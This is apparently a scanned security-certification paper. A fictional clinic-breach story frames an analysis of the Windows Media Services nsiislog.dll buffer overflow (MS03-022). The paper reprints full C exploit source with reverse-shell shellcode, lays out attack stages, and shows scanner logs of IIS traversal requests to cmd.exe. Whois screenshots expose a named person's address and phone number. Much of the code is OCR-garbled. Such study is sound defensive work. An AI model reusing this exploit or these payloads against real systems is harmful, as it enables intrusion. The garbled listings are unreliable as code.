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Prologue

The following scenario will be used as an example throughout this report. The
names in this story are entirely fictitious. Any resemblance to real people is
entirely coincidental and unintentional.

Tuesday, September 12, 2003, 9:30 am

The day started out just as most days at the clinic. The waiting room was full of
patients. Dr. Thorton had just arrived and put down the usual box of doughnuts
for the receptionists. After wishing the receptionists a good morning he was just
about to walk into his office, when one of them came running after him.

“Doctor, I think you better look at this letter we just received by courier. It's from
L. Hutz, Attorney at Law.” Karen the receptionist said in a hurried voice.

“Thank you, Karen. I'll read it in my office” replied the doctor.

Sure enough, the letter was from an attorney. Apparently the clinic was being
sued. Reading further into the document, he found the reason for the lawsuit. A
list of patient names and profiles were posted onto a web site operated by drug
abuse life activists. Considering that the clinic was an addiction clinic, this was
very disturbing news. The doctor was completely confused about how this could
have happened. Did one of his receptionists misplace the patient listings?

As if things weren’t bad enough, a loud commotion was coming from the front
waiting room. A recent patient was yelling at the receptionists that her life is
ruined. She was screaming that she was going to sue the clinic for putting her
name on that web site.

The doctor quickly returned to his office and called the police. He then returned
to the waiting room to try to calm the woman down.

After finally getting the hysterical woman sitting and calmed, the police arrived.
That seemed rather fast, the doctor thought as he greeted two constables at the
front door.

“Thank God you're here. She’s right this way.” The doctor said in a shaky voice.

“I don’t think you understand why we’re here.” said a young constable.

“What do you mean? Aren’t you here because of the call we just made?” said
the doctor, now even more confused.

-iil-
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“We need to talk to you about one of your patients. She was in here last week.
Her name is Mary Jones.” Said the constable.

“Certainly. Let’'s go to my office” the doctor replied.

Upon arriving in the office, the doctor immediately sat down. It had been a very
bad morning so far.

“What seems to be the problem with Miss Jones?” asked the doctor.

“Well, sir, I'm not sure how else to say this. She’s dead. She committed suicide
this morning and she mentioned this clinic in a note she left. She wrote
something about how your clinic released her name and that her family would
never understand what she did.” The officer’'s face turned pale as he spoke.

* * *

What had gone so wrong? How had this tragedy happened? To find out, we
must go back in time — to Sunday morning of the previous week.

Sunday morning, the doctor had come in to the office to setup a new server. He
asked his friend, who knew quite a lot about computers, to help him move the
patient database files off his own computer and put them onto the server. This
way, he thought, the other computers in the office could share the files without
affecting the performance of his computer. He also wanted to setup a web site
for the clinic on this server.

The doctor, knowing only a little about creating web sites, asked his friend to
create a site for the clinic. Something that could be modified into something a
little more fancy later on. The friend was delighted to help and told the doctor to
go get them some coffees and he would install the operating system and web
services while he was gone. The office already had a high-speed Internet
connection so the doctor’s friend configured the clinic’s router to point any web
requests to the new server.

When installing the operating system, the so-called computer expert chose all
options available for installing web services, including Microsoft Windows Media
Services.

By mid afternoon, the clinic had a new web site and the doctor was very happy
with the layout. The doctor’s friend registered a domain name for the clinic and
then they both went out for lunch.

Eya
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Abstract

It has often been said that the road to failure is paved with good intentions. This
proverb has never been more accurate than in within the IT industry. As this
practical assignment will demonstrate, merely wanting to provide valuable
information to the general populous via a web site can sometimes have very
adverse effects. This paper will discuss one such example of a good intention
gone very, very wrong. The story told in the prologue is the basis for this paper.
Some creative freedoms have been taken, but the premise of the attack is based
on a true incident.

Document Conventions

When you read this practical assignment, you will see that certain words are
represented in different fonts and typefaces. The types of words that are
represented this way include the following:

command Operating system commands are represented in this
font style. This style indicates a command that is
entered at a command prompt or shell.

filename Filenames, paths, and directory names are represented
in this style.

computer output The results of a command and other computer output
are in this style

URL Web URL's are shown in this style.

Quotation A citation or quotation from a book or web site is in this

style.

-1 -
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Statement of Purpose

The purpose of this document is multifold. First, the nsiislog.dll exploit will be
described in detail. This will include such information as the exploit's name,
description, affected operating systems, protocols utilized, and attack signatures.
Variants of the exploit will also be identified.

Second, the environment in which this exploit can be taken advantage of, within
the context of this practical assignment, will be described. This will include
describing the victim’s environment and the attacker’s environment. A network
diagram will provide a visual layout of the various components and networks
involved that will assist in the understanding of this assignment.

Third, the various stages of the attack will be outlined. These stages include
reconnaissance, scanning, exploiting the victim’s system, keeping access once
the system has been exploited, and covering any tracks left by the attacker.

Finally, a methodical approach to handling such attacks will be provided. This
approach includes preparation, identification, containment, eradication, recovery,
and lessons learned.

-2
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The Exploit

Exploit Name

The name of the exploit discussed in this document is “Microsoft Windows Media
Services (nsiislog.dll) Remote Buffer Overflow.” This vulnerability was
discovered by Brett Moore of Security-Assets.com.

Numerous advisories exist regarding this exploit including those listed below.
Microsoft
Security Bulletin MS03-022 — Flaw in ISAPI extension for Windows Media

Services could cause code execution (822343)
http://www.microsoft.com/technet/security/bulletin/MS03-022.mspx

Symantec

http://securityresponse.symantec.com/avcenter/security/Content/8035.html

CVE — Common Vulnerabilities and Exposures

CAN-2003-0349
http://www.cve.mitre.org/cdi-bin/cvename.cgi?name=CAN-2003-0349

Operating System

All Microsoft Windows 2000 server operating systems are affected by this
vulnerability. This includes the following

Microsoft Windows 2000 Server

Microsoft Windows 2000 Server (SP 1, 2, 3, & 4)

Microsoft Windows 2000 Advanced Server

Microsoft Windows 2000 Advanced Server (SP 1, 2, 3, & 4)
Microsoft Windows 2000 Datacenter Server

Microsoft Windows 2000 Datacenter Server (SP 1, 2, 3, & 4)

A patch has been made available for Windows 2000 and Windows 2000 Service
Pack 3:

Microsoft Windows 2000 Advanced Server SP4:

-3-
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Microsoft Patch Q822343
http://microsoft.com/downloads/details.aspx?Familyld=F772E131-BBC9-4B34-
9E78-F71D9742FED8&displaylang=en

Microsoft Windows 2000 Advanced Server SP3:

Microsoft Patch Q822343
http://microsoft.com/downloads/details.aspx?Familyld=F772E131-BBC9-4B34-
9E78-F71D9742FED8&displaylang=en

Microsoft Windows 2000 Advanced Server SP2:

Microsoft Patch Q822343
http://microsoft.com/downloads/details.aspx?Familyld=F772E131-BBC9-4B34-
9E78-F71D9742FED8&displaylang=en

Microsoft Windows 2000 Advanced Server SP1:

Microsoft Windows 2000 Advanced Server :

Microsoft Windows 2000 Datacenter Server SP4:

Microsoft Patch Q822343
http://microsoft.com/downloads/details.aspx?Familyld=F772E131-BBC9-4B34-
9E78-F71D9742FED8&displaylang=en

Microsoft Windows 2000 Datacenter Server SP3:

Microsoft Patch Q822343
http://microsoft.com/downloads/details.aspx?Familyld=F772E131-BBC9-4B34-
9E78-F71D9742FED8&displaylang=en

Microsoft Windows 2000 Datacenter Server SP2:

Microsoft Patch Q822343
http://microsoft.com/downloads/details.aspx?Familyld=F772E131-BBC9-4B34-
9E78-F71D9742FED8&displaylang=en

Microsoft Windows 2000 Datacenter Server SP1.:

Microsoft Windows 2000 Datacenter Server :

Microsoft Windows 2000 Server SP4:

Microsoft Patch Q822343
http://microsoft.com/downloads/details.aspx?Familyld=F772E131-BBC9-4B34-
9E78-F71D9742FED8&displaylang=en

Microsoft Windows 2000 Server SP3:

Microsoft Patch Q822343
http://microsoft.com/downloads/details.aspx?Familyld=F772E131-BBC9-4B34-
9E78-F71D9742FED8&displaylang=en

Microsoft Windows 2000 Server SP2:

-4 -
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Microsoft Patch Q822343
http://microsoft.com/downloads/details.aspx?Familyld=F772E131-BBC9-4B34-
9E78-F71D9742FEDS8&displaylang=en

Microsoft Windows 2000 Server SP1:
Microsoft Windows 2000 Server :

Protocols/Services/Applications

This exploit does not specifically target any single TCP port, but rather utilizes
whatever port is configured on the victim’s system to respond to HTTP requests.
The default port assignment for HTTP requests and services is TCP port 80.
Although this is the default and industry standard, a web server can be
configured to listen for HTTP requests on any valid TCP port. As a result of this,
the attacker must know which port the victim’s system is listening on, but this
almost without fail is TCP port 80.

In order to better understand this exploit, a brief description of the protocols
utilized in this exploit is presented.

TCP or Transmission Control Protocol — The TCP protocol is defined in RFC
793 as a connection-oriented, end-to-end reliable protocol designed to fit into a
layered hierarchy of protocols which support multi-network applications.
Inherently, the IP (Internet Protocol) protocol is not reliable and is deficient in
many areas. TCP was developed to overcome these deficiencies by
incorporating facilities in the areas of basic data transfer, reliability, flow control,
multiplexing, connections, precedence, and security.

TCP uses what is called a “three-way handshake” to establish a connection
between hosts. Figure 1 illustrates this process.

TCP Three-way handshake

SYN >
+—SYN + ACK
_ ACK > .

: ((fE: e E 5 tabli S he (] e : (%Ei

Host A Host B

Figure 1 - TCP Three-way handshake

-5-
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In figure 1, Host A sends a SYN request to Host B. Host B then sends a SYN
request back, and ACKnowledges the SYN request from Host A. Finally Host A
sends an ACK, acknowledging the SYN request from Host B. At this point, a
connection is established between Host A and Host B.

HTTP or Hypertext Transfer Protocol — HTTP/1.0 is defined in RFC 1945, and
HTTP/1.1 was originally defined in RFC 2068, but later replaced by RFC 2616.
Both HTTP/1.0 and HTTP/1.1 are defined as an application-level protocol for
distributed, collaborative, hypermedia information systems. It is a generic,
stateless, protocol which can be used for many tasks beyond its use for
hypertext.

HTTP is the language of the Internet and has been in use by the World-Wide
Web global initiative since 1990. How message are transmitted and formatted
for traffic between web browsers and web servers and what actions they should
take respectively is defined by the HTTP protocol. When a URL is entered into a
browser, the browser issues a HTTP request to the target web server to get the
requested web page and transmit it to the browser. Without HTTP, there would
be no World-Wide Web.

Exploit Variants

Description and Exploit Analysis

Microsoft Windows 2000 incorporates a feature called Microsoft Windows Media
Services. This feature is included with Windows 2000 Server, Windows 2000
Advanced Server, and Windows 2000 Datacenter Server. It is also available for
Windows NT 4.0 Server as a download from Microsoft. Windows Media Services
supports the delivery of media content to client systems by a method of transport
known as multicast streaming. When used, this method of content delivery does
not provide the sending server with any connection information about the client
system(s) that may be receiving the streamed content. As a result of this lack of
connection information, logging was not available. In order to overcome this
logging deficiency, Windows includes the capability to specifically log multicast
transmissions.

The ability for Windows to conduct this logging is implemented as a server
extension called Internet Services Application Programming Interface (ISAPI).
The file that that is responsible for this logging is NSIISLOG.DLL. This file is
installed automatically when Internet Information Services is installed via the
Add/Remove programs facility in Windows 2000 Control Panel. It is installed in
the Internet Information Services (11S) Scripts directory on the server. This file is
loaded automatically once Windows Media Services is installed.

-6 -
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This logging feature works very well with only one little problem. If the server
receives a specially formatted HTTP request, the IIS service may fail, or worse —
malicious code could be executed on the server. This is due to a flaw in the way
incoming requests from clients are processed for logging. The flaw is known as
a buffer overflow vulnerability. Simply put, this is where more characters are
placed in the input buffer than the buffer was designed to hold. As a result, the
additional characters in the buffer are placed on the stack for interpretation by the
operating system. These characters, if formatted correctly, can cause
commands or other programs to be executed on the target system.

Only servers with Microsoft Media Services are vulnerable to this exploit. By
default, this service is not installed.

Exploit/Attack Signatures

In order to understand this exploit, a review of a C program written to take
advantage of the nsiislog.dll vulnerability is presented. This source code can be
found at http://downloads.securityfocus.com/vulnerabilities/exploits/xfocus-
nsiislog-exploit.c.

For ease of analysis reasons, the source code has been broken into five
sections, labeled A through E. Each of these sections will be discussed
separately.

-7 -
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Exploit Details

#include <stdio.h>
#include <winsock2.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>

char *hostName = NULL;

unsigned char shellcode[]=
"\x90\xeb\Xx03\x5d\xeb\x05\Xxe8\XFE\XFRI\XFR\XFF\X83\xc5\x15\x90\x90"
""\X90\x8b\Xxc5\x33\xXCcO\Xx66\Xxb9\x10\Xx03\x50\x80\x30\x97\x40\xe2\xfa"
"\Xx7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xFd\x68\xc4\xF3\x36""
"\X97\X97\X97\X97\XC7\XxF3\Xx1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
"\X97\X77\Xxe0\X7F\x4b\x96\Xx97\Xx97\x16\x6Cc\Xx97\x97\x68\x28\x98\x14"
"\X59\x96\X97\Xx97\x16\x54\Xx97\x97\x96\x97\xF1\x16\xac\xda\xcd\xe2"
""\X70\xa4\x57\x1c\xd4\xab\x94\x54\x F1\x16\xaF\xc7\xd2\xe2\x4e\x14"
"\X57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5""
"\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xad\xa5\xe2\x2b\xa4\x68\x1c\xd1"
"\Xb7\x94\Xx54\x1c\x5c\x94\x9F\x16\xae\xdO\xF2\xe3\xc7\xe2\x9e\x16"
""\xee\x93\xe5\XF8\XF4\xd6\xe3\x91\xd0\x14\Xx57\x93\x7c\x72\x94\x68"
"\X94\x6Cc\x1c\Xxc1\xb3\x94\x6d\xa4\x45\xF1\x1c\x80\x1c\x6d\x1c\xd1""
"\X87\xdTF\Xx94\x6 F\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
"\x5c\x1c\xae\x94\x6c\x7e\xFe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
"\X57\x60\x47\Xx1c\x5F\x65\x38\x1e\xa5\x1a\xd5\x9F\xc5\xc7\xc4\x68"
"\Xx85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xad\x57""
"\X3b\x13\x57\xe2\x6e\xad\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4""
"\Xx68\x85\Xcd\Xx3c\x75\x7F\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4F\xad"
"\X57\x3b\x13\x57\xe2\x6e\xad\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
"\XC1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68""
"\XCO\X7TF\X04\XFA\X87\xc1\Xc4\x68\xCcO\X7b\XxFd\x95\xc4\x68\xcO\x67"
"\Xad\x57\XxcO\Xc7\x27\x9b\x3c\xcF\x3c\xd7\x3c\xc8\xdF\xc7\xcO\xcl1"
"\x3a\xc1\x68\XxcO\X57\xdF\xc7\xc0\x3a\xc1\x3a\xc1\x68\xcO\x57\xdf"
"\Xx27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1le\xd0O\xab""
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xad\x57\xF1\x2F\x96\x96\x1e\xd0"
"\Xbb\Xxc0O\Xc0O\Xxad\x57\xc7\Xc7\xc7\xd7\xc7\xdF\xc7\xc7\x3a\xc1l\xa4"
"\X57\XCc7\Xx68\XCcO\X5F\x68\xe1\x67\x68\xcO\Xx5b\x68\xel1\x6b\x68\xc0"
\X5b\XdF\XC7\XC7\XCA\X68\XCO\X63\X1c\Xx4F\Xxad\x57\x23\x93\xCc7\x56""
\X7TFAX93\XC7\X68\XC0\Xx43\Xx1c\Xx67\Xxa4\x57\Xx1c\x5F\x22\x93\xc7\xc7""
""\Xc0\xc6\Xxc1\x68\xe0\x3F\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
"\XCc7\xc0\x68\xa0\xc1\x68\xe0\x3F\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
"\X57\Xc7\Xx68\Xxa0\xc1\xc4\Xx68\XCO\X6FAXFA\XC7\X68\XCO\X77\Xx7Cc\x5F"

77:7?072672672672¢72¢72¢7¢7¢?SHELLCODEG ?¢,?62672¢67? \XcO\x6b\xad\x5e\xc6\xc7¢?

/7 PWRITEFILEE?¢26,22¢62626262626282826282826262872¢7?

"\Xad\x57\Xxc7\x23\x93\xc7\xc1\xc4\x68\xcO\x6b\xad\x5e\xc6\xcO\xc7"
""\XC1\xX68\Xxe0\Xx3b\X68\XCO\XAF\XFA\XC7\X68\XCO\X77\X7c\x3d\Xxc7\x68"
\XCO\X73\X7Cc\X69\XCF\XC7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"*
"\X97\x97\Xx97\Xx50\x97\xeF\Xxc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7F\x75"
"\X6a\X68\X68\X7F\X05\x69\Xx68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
"\Xdb\XFE\XFE\XF3\xdb\xFe\xF5\xe5\xF6\xe5\xee\xd6\x97\xdc\xd2\xc5"
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xF2\xF6\xe3\xF2\xc7\xFfe\xe7\xf2"
"\X97\xd0O\xF2\xe3\xc4\xe3\xF6\xe5\xe3\xe2\xe7\xde\x FO\xF1\xF8\xd6""
"\X97\xd4A\Xe5\XF2\XF6\xe3\XF2\XCc7\xe5\x F\XFA\XxF2\xe4\xe4\xd6\x97""
"\XAA\XFO\XFE\XeA\XF2AXAFAXFE\XFONXFINXFO\XF2\X97\XCc7\xF2\xF2\xFc"
"\XAN\XFENXFa\XF2\XFI\XC7\XxFe\xe7\xF2\x97\XxdO\XFo\xF8\xF5\xF6\xFb"
"\ Xd6\XFO\XFO\XFE\XFA4\Xx97\XxcO\xe5\xFe\xe3\xF2\xd1\xFe\xFo\xF2\x97"
"\XCH5\XF2\XFE\XFI\XAL\XFe\XFO\XTF2\X97\XCA\XFO\XF2\xF2\xe7\x97\xd2"
"\xef\xFe\xe3\xc7\xe5\xFE\XxFA\XxF2\xed\xe4\x97\x97\xc0\xc4\xd8\xd4"
""\xdc\xad\xa5\x97\xe4\xFE\XFA\NXFC\XF2\xe3\X97\XF5\xFe\x FO\XF3\x97"
"\XFb\xFe\xed\xe3\XF2\XFI\XI7\XFO\XFA\XFA\XF2\xe7\xe3\x97\xed\xf2"
"\XFONXFI\XI7\XeE\XF2\XFA\Xe 1\ X97\Xx95\x97\X8I\XFb\Xx97\x97\x97\x97""
"\X97\X97\X97\X97\X97\X97\X97\X97\XFA\XFa\XFI\Xxb9\xF2\xe F\xF2\x97"
"\X68\x68\x68\x68"";

© SANS Institute 2004,
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void main (int argc, char **argv)

{
WSADATA WSAData;
SOCKET s;
SOCKADDR_IN addr_in;

unsigned char buf[1000];

unsigned char testbuf[0x10000];

int len;

char t1[]="POST /scripts/nsiislog.dll HTTP/1.1\r\nHost:
192.168.10.210\r\nContent-length: 65536\r\n\r\n';//4364

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)

printf(""WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}
hostName = argv[1];
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(80);
addr_in.sin_addr.S_un.S_addr=inet_addr(hostName);
memset(testbuf,0,0x10000);

ifT ((s=socket(AF_INET,SOCK_STREAM, IPPROTO_TCP))==INVALID_SOCKET)

printf(*'Socket failed.Error:%d\n*,WSAGetLastError());
return;

}
iT(WSAConnect(s, (struct sockaddr
*)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)

printf(*"Connect failed.Error:%d",WSAGetLastError());
return;

}

len=sizeof(tl)-1;

memcpy (testbuf,tl,len);
send(s, testbuf, len,0);
recv(s,buf,1000,0);

memset(testbuf, "A",65536);//4364

1en=65536;//4364;

*(DWORD *) (testbuf+0x2704)=0x04eb06eb;//Jmp¢2¢2¢267262¢262¢7?
*(DWORD *) (testbuf+0x2708)=0x40F0135C;//¢?¢?672¢2¢?672¢72¢7?
memcpy (testbuf+0x270c,shellcode,sizeof(shellcode));

send(s, testbuf, len,0);

closesocket (s);

WSACleanup(Q);

return;

In section “A” of the above program, the C language libraries and added to the
program. These libraries contain the various functions required by the program.
They will be inserted into the program when it is compiled by the C compiler.

Section “B” of the source code creates a series of NOPs (Null Operations) and
stores them into the variable shellcode. These operations are machine code
instructions that do not cause the computer to take any action. They merely take
up space on the program stack. This series of NOPs is referred to as a “NOP
sled”.

Section “C” adds additional machine instructions to the NOP Sled. Unlike the
previous instructions, these are not harmless. These last instructions will cause

-0-
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the computer to spawn a reverse command shell accessible by the attacking
computer.

In section “D”, the operational program code begins. In the first part of the
program, an HTTP request is created but not sent, that will post the payload of
this program to the nsiislog.dll file on the victim’s computer. Also the program will
check for the ability to connect to the target computer. If a connection cannot be
established, the program will terminate immediately. If not, the program will
continue onto the delivery portion, section E.

Section “E” is where all the action happens. In this section, the program will send
the previously created HTTP request, along with the NOP Sled that also contains
the instructions to spawn a reverse shell to the attacker’'s computer. If
successful, the attacker will now have a remote command shell on the victim’s
computer with the permissions of the IWAM_machinename account. The
victim’s computer will now be compromised, but not entirely owned by the
attacker. The attacker must now use ingenuity to gain full access to the victim’s
computer.

This attack does not leave many traces behind. In fact, the only signature left
behind is a vague event in the System Log on the target system with the
following information found in Figure 2.

-10 -
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Event Properties E |

Ewent |

Date: 9/10/2004  Source:  W3ISWC
Timne: 10:36 Category: Mone

Type: W arning Ewvent [D: 37 + |
User: I

Computer; HACHT TAL-OT QMPE,

Dezcription:

Out of process application /LM AWEEVEA BOOT! terminated
unexpectedly.

Faor additional information zpecific to this mezzage please visit the Microzaoft
Online Support site located at;

hittpe A A, microzoft comdcontentredirect asn.

[atar & Eutes 00 Wiords

k. Cancel | ] 1] |

Figure 2 - Event Log entry after exploit

As one can see from this logged event, there is little to indicate that the system
has been compromised. Without using some form of intrusion detection system,
the system administrator would have to comb through the system events and
look for this event. To obtain further information, such as the attackers IP
address, the servers IIS log would have to be correlated to the system log based
on time and date. Depending on how busy or how many servers utilize Microsoft
Media Services, this could be a very daunting task, resulting in possible attacks
being overlooked.

This vulnerability is well known and is easily identified by most intrusion detection
systems as long as the signature files are kept up to date. One such intrusion
detection system (IDS) is called SNORT and is available under GPL licensing
from www.snort.org.
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Platforms/Environments

This section will discuss the platform and environment of both the victim and the
attacker. Itis divided into four areas. The first area will describe the victim’s
platform. The second area will describe the attacker’s platform and network.
The third area will describe the victim’s network. The fourth and final area is a
network diagram providing a visual layout of the parties involved in this scenario.

Victim's Platform
The victim’s system is outlined below.

Brand: Hewlett Packard Vectra
Model: VL400-SF

CPU: Intel Pentium 1ll, 1.0 GHz
Memory: 256 MB RAM

os: Windows 2000 Server, SP 0
HD: 20 GB IDE

NIC: On-board 10/100

Source Network (Attacker)

The attacker’s system is outlined below.

Brand: DELL

Model: Latitude C640 (laptop), model no. PPO1L

CPU: Mobile Intel Pentium 4-M , 2.20 GHz

Memory: 256 MB RAM

os: Windows XP Professional, SP 1

HD: 20 GB IDE

NIC: 3Com 3C920 Integrated Fast Ethernet Controller

The attacker’s network is comprised of a Cisco 4500 router with 4 WIC-E1
modules and a HP Procurve 12 port 10/100 switch.

The router is configured with a basic reflexive access list to act as a firewall at
the perimeter of the network. The router connects to the Internet via a
broadband connection provided by the local cable company.

Target Network

The target network is relatively simple. It consists of three generic workstations,
running Windows XP Professional. Automatic updates are enabled on these
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workstations. These workstations connect to the victim’s server, as previously
described, through a D-Link DI-604 Ethernet Broadband Router.

The server is configured as a stand-alone server and all the workstations connect
on a peer-to-peer basis.

The DI-604 router is connected to the Internet via a broadband connection
provided by the local telephone company. The router is acting as a firewall for
the network. To allow access to the web server, the router is configured to direct
incoming requests on port 80 to the web server.

Network Diagram

Below is the network diagram of both the attacker’s and victim’s network. It
should be noted that in Figure 3, the Internet is the intermediary network. For the
purposes of testing, non-private IP addresses were used, but no actual
connection to the Internet was established. To perform the attack in this
scenario, a cross-over patch cable was used between the Cisco 4500 router and
the D-Link DI-604 router.

Attackers's Network Victim's Network

Internet

—

D-Link DI-604 Router

Laptop

Figure 3 - Network Diagram
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Stages of the Attack

This section will discuss the various stages involved in the attack of the victim’'s
system. There are five stages that will be herein covered. These stages include
reconnaissance, scanning, exploiting the system, keeping access, and covering
tracks.

Reconnaissance

Typically, the first step in any attack is reconnaissance. In order to effectively
attack a target, you should get as much information as possible about the target.
This is true of most premeditated attacks, be they in the cyber world, or in the
real world. A general would not give the order for his troops to attack without first
knowing where the enemy is and what there number is. Also, it is beneficial to
the general to know what type of defenses and counter measures the enemy
has. If a weakness can be found, it could make the impending attack much more
effective. In this case, reconnaissance is a matter of life and death.

This reasoning holds true in the cyber world as well. Although probably not
dealing in life and death, the more information one can obtain about the intended
target, the better the chance of a successful penetration and subsequent
exploitation.

One of the best methods for obtaining information about a potential target is
searching the Internet. Google (www.google.ca) is a veritable plethora of
information on all imaginable topics and organizations. Typically, it won't take
more than five minutes to find the address and phone number, as well as the
names of key individuals within an organization by using Google. If they have a
web site, you now have a hyperlink to their web server. A quick dig or nslookup
qguery will yield the ip address associated with the web server.

Another fruitful place for information is a whois database. This information is
readily accessible to anyone with an Internet connection. An example of the
information that can be found in a whois database is depicted by the screen
output in Figures 4 and 5.
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a CIRA - Canadian Internet Registration Authority - Microsoft Internet Explorer ;IEILI
File Edit Wiew Favorites Tools  Help ‘ }f
GBack > J = d @ ;‘] | /.:)Search \:n:.( Favorites @Media {‘3| = \f_- A - _J ﬁ
Address Iﬁj http: ffwhois,cira,cafpublic j Go | Links >
Google - | || & searchweb - | 2 | 0108 biocked E] AutcFil | [ options

k {HOME | FAG | FRANGAIS | CONTAGT US | SITE HAF §ancmuzs| =

a

INFORMATION ON DOMAIN
Enter the domain name to obtain its information.
REGISTRATION DOCS I a whois
Dornain intellidigr.ca

Organization John Zabiuk =

Reqgistrar Tucows.com Co.

Renewal Date 2005/05/27

Date approved 2003/05/27

Last changed 2004/06/07

Description IT Solutions Provider

Registrar Mumber 156

Registrant Mumber 657537

Dornain Nurnber 657537

DMNEL

nsl.meganameservers.com

DHE2

nsZ.meganameservers.com

DMNE3

ns3.meganameservers.com

DNE4

DMNES d
|§1 hkkpef e, civa, cafengre_whais, bl ’_’_’_ & Internct S

Figure 4 - Search results from whois (1)

From the information in Figure 4, one can easily find the technical information
about the intended victim’s domain, including who the registrar is and the DNS
server that has authority for the domain.

Figure 5 hits a little closer to home. From a simple whois search, the attacker
now has the address and phone number of the target. This information includes
the administrative contact, their address and phone number. This information
could prove invaluable should the attacker wish to gain further information
through social engineering.

By this time, the attacker will now have enough information to continue on the
second stage of the attack — scanning.
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a CIRA - Canadian Internet Registration Authority - Microsoft Internet Explorer ;lglgl
Eile Edit VWiew Favorites Tools Help ‘ ﬂ.‘
(Drock ~ () - d IEI] __:1 | ) search \;1‘\? Favorites @ Hedis €?| il Wl - i
Address [i&] htp s civs. cafpubic B> |L|nks »
GODS[E- I j| ®Search Web - ‘ @ | £ 106 blocked  E] AutoFil ‘ EOptmns y ]

Bl

Administrative Contact

Name John Zabiuk
Jab Title
Postal John Zabiuk 760 Ormsby Road West Edmonton AB
4ddress TSTBES Canada
Fhone +17809907941
Fax
Email jzabiuk@shaw.ca

Technical Contact

Narme Domain Administrator
Jab Title
Postal TELUS Shared Hosting 1525 - 10 Ave SW Galgary AB T3G
Address 016 Ganada
Fhone +1.8662928144
Fax
Email domainadmin@telushosting.com

L . HOME | FRG | FRANCAIS i conTROT US {siTE mAe {ARCHIVES | IAH contents.. -

By accessing and using CIRA's website you agree that you have read, understond, and consent to
the terms and conditions for the use of CIRA's website, as set out in the Leagal Motice and Privacy Policy,

2003 Canadian Internet Registration Authority. all rights reserved.

[4]

& [T (@t

Figure 5 - Search results from whois (2)

Scanning

Now that the attacker knows who and where the victim is, the next thing he will
need to do is understand the environment. In order to do this, one or more
scanning tools is employed. These tools can provide the attacker with a list of
potential target systems in the victim’s network as well as a list of potential holes
in their security. One such scanning tool is SuperScan. This tool is available at
www.foundstone.com. Superscan is an extremely powerful scanner, pinger and
resolver. With it, one can quickly determine which addresses are live and what
ports are listening on each live host. The output from this can be seen in Figure
6. This application will even attempt to enumerate the target system, which can
yield such information as user lists, group lists, file shares, etc. The output from
this can be seen in Figures 7 and 8.

Next the attacker will check for any vulnerabilities on the system. To do this, a
vulnerability scanner is used. The scanner used in this case is Syhunt Sandcat
Scanner. This is available for evaluation from www.syhunt.com. This scanner
will check numerous vulnerabilities against a host and provides a report of those
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found. It does this by issuing GET requests to the target host. Figures 6 and 7
provide the output of Sandcat.

|2 Syhunt Sandcat Request Viewer =J= E
Eile Requests
Security Scanner | Time: | Request | Host fsddress | Pat | Bytes | Status | File |~
101520 AM  Vecripts/. o0t/ 2c0%af, /. Zc0%al. Awinntsystern32dem.. 198.161.203111 a0 273 200 03152004 101
10152080 Vecriptsd. Zo0%af /. 2c0%af. /. Sc0%al, Awinnksystern32fem... 198.161.203111 a0 433 200 03152004 10.1
101520 8M  fscriptss. ZeDaf /. ZclZal. /. Ze0%af. Awinnt/system32Ape 198.161.203111 80 241 200 09-15-2004 10.1
10152040 Fecripts/.. Zc0%af /. %c0% 8l Awinntspstem32/cmd exe?/cedir 198.161.203111 a0 273 200 03-15-2004 101
1015 A fecriptsd. Zo0%af. fwinnt/systern32/cmd. exe?/ cedic 198.161.203.111 a0 273 200 03-15-2004 101
101531 &M Feciiptsd. Zolaf Awinnt/spstem32/omd. ese o +dire: 198.161.203.111 a0 273 200 05-15-2004 10.1
10153 AM Fecriptsd. Zo0af. dwinnt/system32/cmd. exe ?/crdirec 198.161.203.111 a0 433 200 03152004 10.1
11540 AW Fseriptsd ZC1ZOC ZC1HEAC 201230 01 ZI0winnt, system 198.161.203111 a0 273 200 03-15-2004 101
10154040 Fecipts/. ZCTHOC ZCTR9C %01 %90 501 29 0winnt/spstem... 198161203111 a0 453 200 03-15-2004 101
101540 AM  fecriptsd. %o %90 4. e # 9. Awinnt/ system32/cmd exe /e, 198.161.203.111 a0 273 200 09-15-2004 101
2004915 10:1540AM st %0 Z3c. Awinnt/spstemn 32/ cmd.ene Ao +dir 198.161.203.111 a0 273 200 03-15-2004 10.1
2004915 101540AM  fsoiptsd. 20 90, Awinnt/spstemn32/omd.ene Mo+ diree: 198.161.203.111 a0 273 200 03-15-2004 10.1
2004-315  10:15:40AM  Fscriptsd %ol ZSe. Awinnt/spstem32/cmd exe Y o+direc:h 198.161.203.111 a0 433 200 03-15-2004 10.1
101548 AM  fecripts/.. %e0%80%af /. %e0%80% af Swinnt/system32/cmd... - 198161203111 a0 273 200 03-15-2004 101
101548 AM  Jecripts/. %e0%80%af . Awinnt/system32/cmd. exe? o+dir 198.161.203.111 a0 273 200 03-15-2004 101
101546 M fechiptsd.. ZeDXB0%af . Awinnt/system32/crmd. exe ?Ao+dir+o: 198.161.203.111 a0 273 200 09-15-2004 10.1
